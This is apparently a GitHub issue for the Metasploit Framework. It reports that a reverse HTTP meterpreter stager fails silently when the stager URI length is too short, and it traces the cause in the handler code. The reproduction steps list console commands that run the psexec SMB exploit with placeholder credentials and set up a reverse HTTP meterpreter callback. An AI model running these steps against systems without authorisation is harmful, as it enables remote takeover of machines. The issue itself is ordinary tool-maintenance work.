Skip to content

windows/meterpreter/reverse_http silently fails to stage when StagerURILength is below the UUID-embedding minimum #21635

Description

@zeroSteiner

Summary

Setting StagerURILength on windows/meterpreter/reverse_http (and other HTTP(S) stagers that share Msf::Payload::UUID::Options#generate_uri_uuid_mode) to a value below the UUID-embedding minimum causes the stager to connect back successfully but never receive a stage or create a session — with no error or log message of any kind.

Steps to reproduce

use exploit/windows/smb/psexec
set RHOSTS <target>
set SMBUser ...
set SMBPass ...
set payload windows/meterpreter/reverse_http
set LHOST <lhost>
set LPORT <lport>
set StagerURILength 10
exploit

Expected behavior

Either the stager stages normally, or the framework raises a clear error/warning explaining that the requested StagerURILength is too short.

Actual behavior

  • SMB auth, upload, and service start all succeed.
  • The reverse HTTP handler starts and receives the stager's initial callback request.
  • No "Staging ... payload" message is ever printed, no error is printed, and exploit reports "Exploit completed, but no session was created." with zero diagnostic output.

Root cause

  • Msf::Payload::UUID::Options#generate_uri_uuid_mode (lib/msf/core/payload/uuid/options.rb) only embeds a UUID in the generated URI if there's enough room for it (len >= URI_CHECKSUM_UUID_MIN_LEN, i.e. URI_CHECKSUM_MIN_LEN(5) + Msf::Payload::UUID::UriLength(22) = 27 bytes). Below that, it silently falls back to a bare checksum-only URI with no embedded UUID — and only raises an error if PayloadUUIDSeed/PayloadUUIDRaw was also set.
  • Msf::Handler::ReverseHttp#on_request (lib/msf/core/handler/reverse_http.rb) gates all staging logic behind if uuid. When the incoming request's URI has no embedded UUID, it unconditionally overwrites info[:mode] = :unknown — discarding whatever checksum-based mode (:init_native, etc.) was actually detected.
  • The :unknown mode is explicitly excluded from the "Unknown request to ..." status print, so this failure path is completely silent.

I confirmed this is present on current master (not specific to any feature branch) — the if uuid ... else info[:mode] = :unknown gating in on_request is unchanged there. The StagerURILength option's own advanced-option description ("The URI length for the stager (at least 5 bytes)") is also stale/misleading: 5 is URI_CHECKSUM_MIN_LEN, not the actual functional minimum needed for a working payload.

Suggested fix direction

Add validation in generate_uri_uuid_mode (the shared choke point used by windows, windows/x64, java, android, multi, and mettle payloads) to raise a clear error (or at minimum a warning) when StagerURILength is set below URI_CHECKSUM_UUID_MIN_LEN, rather than silently generating a non-functional payload.

Filing this to track it — not fixing immediately, but don't want it to get lost.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    Status
    Todo

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions